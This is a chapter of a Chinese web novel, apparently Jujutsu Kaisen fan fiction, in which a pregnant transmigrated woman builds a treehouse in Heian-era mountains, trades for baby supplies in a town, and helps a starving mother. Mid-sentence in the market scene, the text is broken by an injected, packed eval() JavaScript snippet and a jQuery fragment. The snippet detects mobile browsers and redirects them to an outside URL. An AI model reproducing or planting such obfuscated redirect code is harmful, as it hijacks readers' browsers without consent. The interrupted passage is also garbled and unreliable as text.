七个月。
宿观音现在深刻理解了“七月怀胎,肚大如箩”是什么意思。尤其是她这肚子里还是双黄蛋,那规模,简直像在腰间绑了个不大不小的米缸,低头已经看不到自己的脚尖了。
胎动也从之前的小鱼吐泡泡、轻轻拳打脚踢,升级成了全方位、高频率的“内部暴动”。
左边那个(她越来越怀疑是宿傩)热衷于凌晨三四点开始练拳击,砰砰砰,节奏感十足,经常把她从好不容易获得的深度睡眠中踹醒。
右边那个(疑似宿傩的兄弟)安静些,但喜欢在饭后突然来个“鲤鱼打挺”或者“乾坤大挪移”,扭得她胃里一阵翻江倒海,刚吃下去的东西差点原路返回。
山洞虽然冬暖夏凉,但地面终究是硬的,弯腰进出洞口也越来越不方便。
更关键的是,随着肚子越来越大,一种属于母亲的本能不安感开始滋生——这个位于地面、只有一个出入口的洞穴,防御性似乎不够了。
万一有什么东西摸过来……
“不行,得挪窝!”宿观音扶着后腰,站在洞口,看着外面郁郁葱葱的树林,做出了决定,“得找个更安全、更舒服的地方。”
她的目光扫过林间那些参天古树,最后定格在远处一片相对开阔的林间空地边缘。
那里有几棵格外粗壮、枝桠横生的大树,其中一棵尤其显眼,主干需要两三人合抱,在离地约四五米高的地方,分出了几个粗壮平稳的枝桠,形成了一个天然的、相当宽敞的平台。
农村长大的记忆浮现。爷爷曾说过,有些老猎人会在树上搭简易的窝棚,防潮防虫防野兽。
平安时代这山林,咒灵比野兽还烦人,树上视野开阔,易于警戒,离地一段距离也能减少很多骚扰。
“就它了!树屋计划启动!”宿观音一拍肚子(引得里面一阵抗议的扭动),行动力瞬间拉满。
说干就干。她先仔细勘察,选中了两棵相距不远、枝干粗壮平整的榉树作为“地基”。然后,就是取材。
“崽,看好了,今天教你们第一课,什么叫‘暴力施工法’。”她对着肚子煞有介事地说,然后走到一棵枯死的杉树前。
没有锯子,没有斧头。只有她并拢的手指,和体内奔涌的咒力。
“首先,取材要精准。”她眼神一凝,指尖虚划。无形的斩击掠过树干底部,发出极其轻微的“嗤”声。
那需要两人合抱的枯树,如同被最锋利的电锯切割,断面光滑如镜,缓缓倾斜,然后“轰隆”一声倒在预先清理过的空地上,扬起一片尘土。
“咳咳……下次得控制倒向。”宿观音挥挥手驱散灰尘,“不过,效率满分。”
接下来是处理木材。去皮、截断、剖开……全部由她徒手(指)完成。
斩击的精度在她一次次实践中不断提升,如今已经能做到削木如泥,切出大致平整的木板和粗细均匀的木桩。
这过程看着震撼,实则枯燥又费力。
幸好有手腕上那个暗灰色咒具手镯,时不时去附近“刷”点不长眼的咒灵,收获的结晶能迅速补充她和崽崽们的消耗,顺便也给“不听话就饿肚子”的胎教提供了实时教材。
“这块板子要搭在这里……对,榫卯?不会。直接用藤蔓捆结实,再加几根木楔敲进去……等等,没锤子。”宿观音蹲在树上,看着手里一根需要固定的大梁,歪头想了想。
然后,她举起拳头,咒力包裹拳锋,对准连接处旁边的支撑木,“咚”地一拳砸下去!
木头被她砸得往里嵌进去几分,连带上面的梁木也被卡紧。
“看,这就叫‘物理榫卯’。”她得意地对着肚子晃了晃拳头。肚子里左边那位立刻传来一阵急促的胎动,仿佛在喊:“妈!这招帅!想学!”
“等你出来再说。”宿观音笑骂,继续她的工程。
花了将近十天时间,一间简陋却结实的树屋初具雏形。主体架在两棵树的主要枝干上,离地约三米多高。地板是用厚木板拼接,缝隙用混合了黏土的苔藓塞紧。
墙壁是细木条编织成框架,里外糊上厚厚的泥巴(取自山洞附近一种黏性很强的粘土),晒干后居然相当坚固防风。
屋顶铺了好几层宽大的树皮和干燥的茅草,倾斜的角度足以排水。
她还用边角料做了个带护栏的阳台(方便晒太阳和观察情况),以及一个用藤蔓和木棍编制的、可以拉上放下的“楼梯”。
内部空间比山洞宽敞明亮得多。开了个小窗,用半透明的兽皮蒙着,透光不透风。最重要的“床铺”,她用最粗最平整的木板搭了个矮台,上面铺了厚厚的干草和最柔软的几张兽皮。
“呼……大功告成!”宿观音站在阳台,扶着微微发酸的腰,欣赏着自己的劳动成果。
虽然这树屋外观看起来像是被巨人胡乱拼凑的鸟巢,充满了野性粗犷(且不怎么美观)的气息,但实用性杠杠的。
“怎么样,崽崽们,新家还不错吧?”她摸着肚子,“以后咱们就住这儿了,空中别墅,景观房!”
肚子里两位似乎对新环境也有些好奇,胎动都变得轻柔了些,像是在小心感知。
家有了,但还缺很多东西。尤其是想到崽子们出生后……
“婴儿床!必须搞两个!”宿观音盘算着。还有更柔软保暖的布料,更齐全的炊具,可能还需要一些接生用的东西(这个想想就头皮发麻,但不得不准备)。
山洞里那些石碗石灶可以搬上来,但远远不够。
这些东西,山里可搞不定。得去有人烟的地方。
“镇上……”宿观音望向山脉之外隐约的方向。她知道这附近应该有人类聚居的村镇,之前救那对母女时也有所了解。去镇上交易,意味着要接触这个时代的普通人。
她看看自己:高大的身材,蜜蜡色皮肤,醒目的粉发赤瞳,还有那身几乎成为标志的白色和服以及脸上身上的黑色纹身……这副尊容,走在平安京的街道上,估计会被当成化形的妖怪或者山里的鬼婆吧?
“麻烦……”她挠挠头。但为了崽,硬着头皮也得上。
她翻出之前从密室带出来、一直没舍得用的几块品质不错的兽皮(最完整柔软的那几张),还有在山里采集到的一些晒干的、勉强算是药材的植物根茎和菌类(希望有人识货),以及几块在猎杀咒灵时顺便找到的、颜色独特的矿石。这些就是她的“启动资金”。
又把脸上和手臂上最显眼的纹身用烧过的木炭混合泥土调成的深色膏体稍微遮掩了一下(效果一般,但至少没那么扎眼),将粉色的长发用一块深灰色粗布完全包起。
白色和服没办法,只有这一套。最后,她把那柄自制的、边缘被打磨得异常锋利的石斧别在腰间,聊作防身和威慑。
“好了,平安京时代第一次出门采购,目标:婴儿床及母婴用品!”宿观音给自己打气,挺着沉重的肚子,沿着之前探出的小路,小心翼翼地向山外走去。
走了大半天,翻过最后一道山梁,人烟的气息逐渐浓郁。田地出现,道路也变得清晰。远处,一片低矮的木质建筑群聚集在河边,炊烟袅袅,那就是她此行的目的地——一个看起来规模不大的边境小镇。
越是靠近,宿观音越是能感受到这个时代普通人生活的气息。泥土路,低矮的房屋,穿着粗布麻衣、面有菜色的农人,偶尔有牛车吱呀呀地走过。空气中弥漫着炊烟、牲畜和某种……压抑的气息。
人们眼神大多警惕而麻木,看到她这个陌生、高大、打扮奇特还带着武器的孕妇,纷纷避让,躲在门后或巷口窥视,指指点点,低声议论。
“看那个女人……”
“好高……头发颜色真怪……”
“是山里的……那种东西吗?”
“还怀着孩子……真可怜……”
宿观音听觉敏锐,这些低语一字不落地飘进耳朵。她面不改色,赤瞳平静地扫过街道,寻找着类似集市或者店铺的地方。她不在乎这些目光,只要不主动招惹她就行。
很快,她找到了镇子中心一小片相对热闹的区域。有几个摆着蔬菜、糙米、陶罐的摊子,还有一家挂着破旧布帘的铁匠铺,一家传出药味的铺子。
她的出现,让原本窸窣的集市安静了一瞬。摊主和行人都用惊疑不定的目光看着她。
宿观音径直走到一个看起来卖杂货、也有几卷粗布的老者摊前。老者吓得往后一缩。
“这个,这个,还有这些,”宿观音把带来的兽皮、药材和矿石一股脑放在摊位上,声音尽量平静(但依旧带着些天然的沙哑和不容置疑),“换东西。”
老者战战兢兢地检查了她的货物。兽皮质地很好,药材虽然不认识但看起来新鲜,矿石颜色奇特。他眼神里露出惊讶,态度也稍微缓和了点。
“夫、夫人想换什么?”
“软布,越多越好。干净的新棉花或者最柔软的填充物。两个这么大小的木盆。”她比划着婴儿澡盆的大小,“还有,会不会做小床?给孩子睡的,要两个,结实,边栏高,没有毛刺。”
老者听完,沉吟了一下:“布和棉花有,木盆可以找木匠做,很快。但是小床……镇上没有现成的,需要定做,要些时日。而且,两个的话……”
“价钱好说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265090|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”宿观音拍了拍那些兽皮,“这些够不够?不够我还有。”她指的是山里更多存货,但听在老者耳里可能有点别的意味。
老者连忙点头:“够!够!夫人稍等,我去找木匠说说,很快给您回话。布和棉花先给您取来?”
交易比想象中顺利。或许是她带来的山货确实有价值,或许是她本身的气势让人不想多事。宿观音用大部分“山货”,换到了好几匹虽然粗糙但柔软的素色棉布,一些蓬松的干芦花(当做填充物),两个新制的木盆,以及木匠答应三天后交付的两个松木婴儿床——要求很简单:光滑,牢固,围栏加高。
她还用剩下的一点药材,在一家看起来比较实在的店铺里,换了一个带盖子的新陶锅,一把真正的铁制小刀(比她那个石斧好用多了),一小包盐,以及一些据说对产妇有好处的干姜和红糖。
采购过程基本是沉默的,她指,她给货,对方拿东西,很少交流。但当她背着用换来的粗布打包好的物资,挺着肚子走在回去的路上时,能感觉到背后的目光复杂了许多,少了几分恐惧,多了几分好奇和……一丝不易察觉的同情?
毕竟,一个独自深山里来、怀着双胎、换这么多婴儿用品的女人,在这个时代,背后多半有个悲惨的故事。
宿观音不在乎故事,她只在乎实实在在的东西。摸着包里柔软的布料,想着即将做好的小床,她心里踏实了不少。
就在她即将走出小镇边缘时,一阵低低的啜泣声吸引了她的注意。路边一个破败的屋檐下,一个瘦骨嶙峋、抱着个病恹恹婴儿的年轻女人,正对着几株干瘪的野菜发呆,眼泪无声滑落。女人怀里的孩子小声哭着,声音微弱。
宿观音脚步顿了顿。她不是圣母,这世道可怜人太多。但或许是即将为人母,对“孩子”相关的事情格外敏感。她看了看自己鼓胀的肚子,又看了看那女人怀里气息微弱的小不点。
啧。
她沉默地走回刚刚换东西的杂货摊,用最后剩下的一块颜色最鲜艳的矿石(本来想留着以后或许有用),跟有点愕然的老者换了一小袋糙米和两个鸡蛋。
然后,她走回那个屋檐下,把米袋和鸡蛋放在女人面前,什么也没说,转身就走。
女人惊呆了,看着那袋米和鸡蛋,又看看宿观音高大沉默的背影,嘴唇哆嗦着,似乎想说什么感谢的话,却发不出声音,只是抱着孩子,朝着宿观音的方向,深深地把头埋下去。
宿观音没有回头,快步离开了小镇,重新踏入山林。怀里的物资有些沉重,肚子里的孩子似乎也累了,胎动变得缓慢而轻柔。
“崽,”她一边走,一边对着肚子低声说,“看到没,这世道不容易。但咱们有能力,在顾好自己的前提下,偶尔……就那么一下下,手指缝里漏一点点,给真正需要的人,也没啥。”
肚子里左边那个崽轻轻踢了一下,右边那个则传来一阵温缓的蠕动。
“嗯,就当给你们积德了。”宿观音笑了笑,“虽然咱们以后大概率不走德高望重路线……但至少,别变成纯粹欺负弱小的混蛋,这是底线。”
回到山中的树屋,夕阳正好。她把换来的东西一样样安置好。软布和芦花堆在角落,准备之后做襁褓和小被子。新陶锅和小刀让她对未来几个月的伙食改善充满期待。
她坐在新铺好的“床”上,背靠着用兽皮包裹的墙壁,望着窗外渐渐染上金红的林梢,手轻轻放在高高隆起的肚皮上。
树屋很安静,只有风声和偶尔的鸟鸣。肚子里的两个小家伙似乎很喜欢这个新环境,也或许是被今天外出的“见闻”弄得有些疲惫,此刻只是偶尔轻轻动弹一下,像是在安稳地睡着。
“快了,”宿观音轻声说,眼神是前所未有的柔和与坚定,“再有不到两个月,你们就要出来了。”
“别怕,妈都准备好了。房子,吃的,用的……虽然简陋,但该有的都会有。”
“等你们出来,咱们一家三口……,就在这树上,好好过日子。”
“谁敢来打扰……”
她眼中红光一闪,嘴角勾起熟悉的、带着匪气的弧度。
“老娘就让他体验一下,什么叫‘高空抛物’——直接把他从树上踹下去!”
夜色温柔地笼罩了山林,也笼罩了这间粗糙却坚固的树屋。里面亮起一点温暖的、属于人类生活的篝火光芒。
一个来自异世的灵魂,两个尚未降生便已注定不凡的孩子,在这危机四伏的平安时代,拥有了一个暂时可以称之为“家”的空中堡垒。
未来的路依然未知,但至少此刻,有了一个可以安心等待新生命降临的角落。